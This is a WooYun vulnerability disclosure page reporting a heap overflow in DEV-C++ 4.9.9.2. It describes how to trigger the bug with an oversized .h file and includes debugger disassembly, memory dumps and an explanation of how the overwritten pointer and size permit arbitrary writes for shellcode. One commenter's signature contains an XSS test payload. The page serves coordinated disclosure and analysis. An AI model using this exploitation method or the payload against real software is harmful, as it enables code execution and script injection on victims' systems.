当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046827

漏洞标题:DEV-C++ 堆缓冲区溢出漏洞

相关厂商:DEV C++ 4.9.9.2

漏洞作者: 光刃

提交时间:2013-12-23 18:19

修复时间:2014-03-23 18:19

公开时间:2014-03-23 18:19

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-23: 细节已通知厂商并且等待厂商处理中
2013-12-27: 厂商已经确认,细节仅向厂商公开
2013-12-30: 细节向第三方安全合作伙伴开放
2014-02-20: 细节向核心白帽子及相关领域专家公开
2014-03-02: 细节向普通白帽子公开
2014-03-12: 细节向实习白帽子公开
2014-03-23: 细节向公众公开

简要描述:

打开源代码时候未对数据格式大小进行检测,导致堆溢出,。载入特定构造的文件可以执行任意恶意代码(shellcode)
存在多种数据格式中,这里以.H格式来演示

详细说明:

触发漏洞文件
注意:一定要先关联.H文件,让程序以.H格式被打开。
C:\1.h
一大堆数据文件
文件内数据
define XXXX "111111111。。。。111"
很长很长,我构造的是56.0 KB
一定要足够的长

漏洞证明:

分析过程
覆盖前的某次操作:
00401C6C 53 push ebx ; EAX=02DD2070 ;要处理数据块的地址和大小 02DD2070 4C
00401C6D 3B05 10565900 cmp eax, dword ptr [595610] ; 02DBD1C8 和淹没后的大数据地址比较
00401C73 75 09 jnz short 00401C7E
。。。
。。。 ;计算要处理数据的开始地址和大小
00401C7E 8B50 04 mov edx, dword ptr [eax+4] ; [00DD2070+4]=02DD2070 地址
00401C81 8B48 08 mov ecx, dword ptr [eax+8] ; [00DD2070+8]=4c 大小
00401C84 81F9 00100000 cmp ecx, 1000
00401C8A 7F 38 jg short 00401CC4
00401C8C 3BC2 cmp eax, edx
00401C8E 75 17 jnz short 00401CA7
00401C90 85C9 test ecx, ecx
00401C92 79 03 jns short 00401C97
00401C94 83C1 03 add ecx, 3
要处理的数据(正常)
02DD2070 70 20 DD 02[70 20 DD 02][4C 00 00 00]41 63 63 65 p ?p ?L...Acce
02DD2080 73 73 20 76 69 6F 6C 61 74 69 6F 6E 20 61 74 20 ss violation at
02DD2090 61 64 64 72 65 73 73 20 25 70 20 69 6E 20 6D 6F address %p in mo
02DD20A0 64 75 6C 65 20 27 25 73 27 2E 20 25 73 20 6F 66 dule '%s'. %s of
02DD20B0 20 61 64 64 72 65 73 73 4C 00 00 00 17 00 00 00 addressL......
02DD20C0 24 8A 40 00 DC 20 DD 02 00 00 00 00 00 00 00 00 $夽.??........
我们的大数据
02DBD1C8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD1D8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD1E8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD1F8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD208 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
-----------------------------------------------------------------------------------
覆盖瞬间:
00401C6C 53 push ebx ;EAX=02DBD1C8 要处理数据的地址 (被覆盖了 成了地址31313131 地址31313131)
00401C6D 3B05 10565900 cmp eax, dword ptr [595610] ; 和淹没后的大数据地址比较 ;;[595610]=2DB4000
;
00401C73 75 09 jnz short 00401C7E
00401C75 8B50 04 mov edx, dword ptr [eax+4]
00401C78 8915 10565900 mov dword ptr [595610], edx
00401C7E 8B50 04 mov edx, dword ptr [eax+4] ;EDX=溢出后的31313131地址 ;
00401C81 8B48 08 mov ecx, dword ptr [eax+8] ;ECX=溢出后的31313131大小
00401C84 81F9 00100000 cmp ecx, 1000
00401CC4 8B00 mov eax, dword ptr [eax]
...
00401CC4 8B00 mov eax, dword ptr [eax] ;02DD0000
00401CC6 8902 mov dword ptr [edx], eax ;内存地址给edx, 溢出了 就是31313131了
00401CC8 8950 04 mov dword ptr [eax+4], edx
00401CCB 5B pop ebx
要处理的数据(被覆盖)
02DBD1C8 00 00 DD 02 31 31 31 31 31 31 31 31 31 31 31 31 ..?111111111111 ; 31313131
02DBD1D8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD1E8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD1F8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD208 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD218 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD228 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD238 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD248 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DBD258 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DD0000 00 40 DB 02[C8 D1 DB 02]BC 20 00 00 31 31 31 31 .@?妊??..1111 ; 02dbd1c8
02DD0010 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DD0020 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DD0030 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DD0040 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DD0050 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
02DB4000 31 31 31 31[00 00 DD 02]C0 11 00 00 32 32 32 32 1111..??..2222 ;02dd0000
02DB4010 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 2222222222222222
02DB4020 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 2222222222222222
02DB4030 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 2222222222222222
02DB4040 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 2222222222222222
02DB4050 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 2222222222222222

也就是说 数据地址 和数据大小(覆盖后的31313131)我们可控制
我们也就可以往数据A处写大小为B的数据。
A就是shellcode地址
这就是该漏洞的利用原理

1.jpg

修复方案:

检测大小

版权声明:转载请注明来源 光刃@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-27 20:54

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-12-23 18:24 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    不明真相~看看2楼怎么说。

  2. 2013-12-23 18:30 | m1x7e1 ( 普通白帽子 | Rank:543 漏洞数:132 | 求工作)

    不明真相~看看3楼怎么说。

  3. 2013-12-23 18:50 | 摸了你 ( 实习白帽子 | Rank:71 漏洞数:17 | 1shitMVqBjCKrnRvSoixMx6RKpG9J8pBM)

    3楼不想说...4楼说吧

  4. 2013-12-23 18:55 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    4楼啥都不懂,5楼来吧

  5. 2013-12-23 19:05 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    楼下请关注软件漏洞分析技术这本书

  6. 2013-12-23 19:07 | 小驴牙牙 ( 普通白帽子 | Rank:168 漏洞数:43 | 不断学习,进步!)

    学习中,感谢!

  7. 2013-12-23 19:07 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    不关注请楼下关注

  8. 2013-12-23 21:09 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    楼下你关注了吗?

  9. 2013-12-23 21:50 | onlycjeg ( 实习白帽子 | Rank:38 漏洞数:5 | 我就看看,我不说话.)

    我没关注啊.

  10. 2013-12-24 09:23 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    这个问题还是得交给一楼来处理^_^

  11. 2013-12-28 12:47 | oooooooooooooooorg ( 路人 | Rank:0 漏洞数:1 | nothing)

    走开,让我来

  12. 2013-12-28 18:06 | 微笑Style ( 路人 | Rank:0 漏洞数:2 | 代码爱好者)

    本来不明白,看了楼上我明白了

  13. 2013-12-28 18:20 | 光刃 ( 普通白帽子 | Rank:200 漏洞数:24 | 萝卜白菜保平安)

    @微笑Style 明白什么了?

  14. 2013-12-28 20:10 | 妈妈说名字不能起太长 ( 路人 | Rank:20 漏洞数:1 | 这都可以?)

    其实什么都不明白

  15. 2013-12-29 12:25 | 4399gdww ( 路人 | Rank:20 漏洞数:4 | )

    楼下的明白?

  16. 2014-01-01 20:22 | Defa ( 普通白帽子 | Rank:113 漏洞数:13 | <img src=1 onerror=alert(1)>)

    依然不明白,

  17. 2014-03-23 18:43 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    楼上都是小白,楼下才是大黑

  18. 2014-03-23 20:53 | Cyrils ( 实习白帽子 | Rank:45 漏洞数:10 | the more the better)

    卧槽走错楼了不是小白

  19. 2014-03-23 21:57 | 笨小猪 ( 路人 | Rank:16 漏洞数:2 | 杯壁下流)

    我看不明白,楼下告诉我。

  20. 2014-03-23 23:17 | diguoji ( 普通白帽子 | Rank:323 漏洞数:79 | 中国吉林长春)

    楼下,不明白,一楼距今一个月了应该明白了,请教一楼

  21. 2015-02-01 21:39 | 鬼五 ( 普通白帽子 | Rank:214 漏洞数:83 )

    依然不明白,楼上各位大大距今快1年了肯定明白了,请教楼上各位大大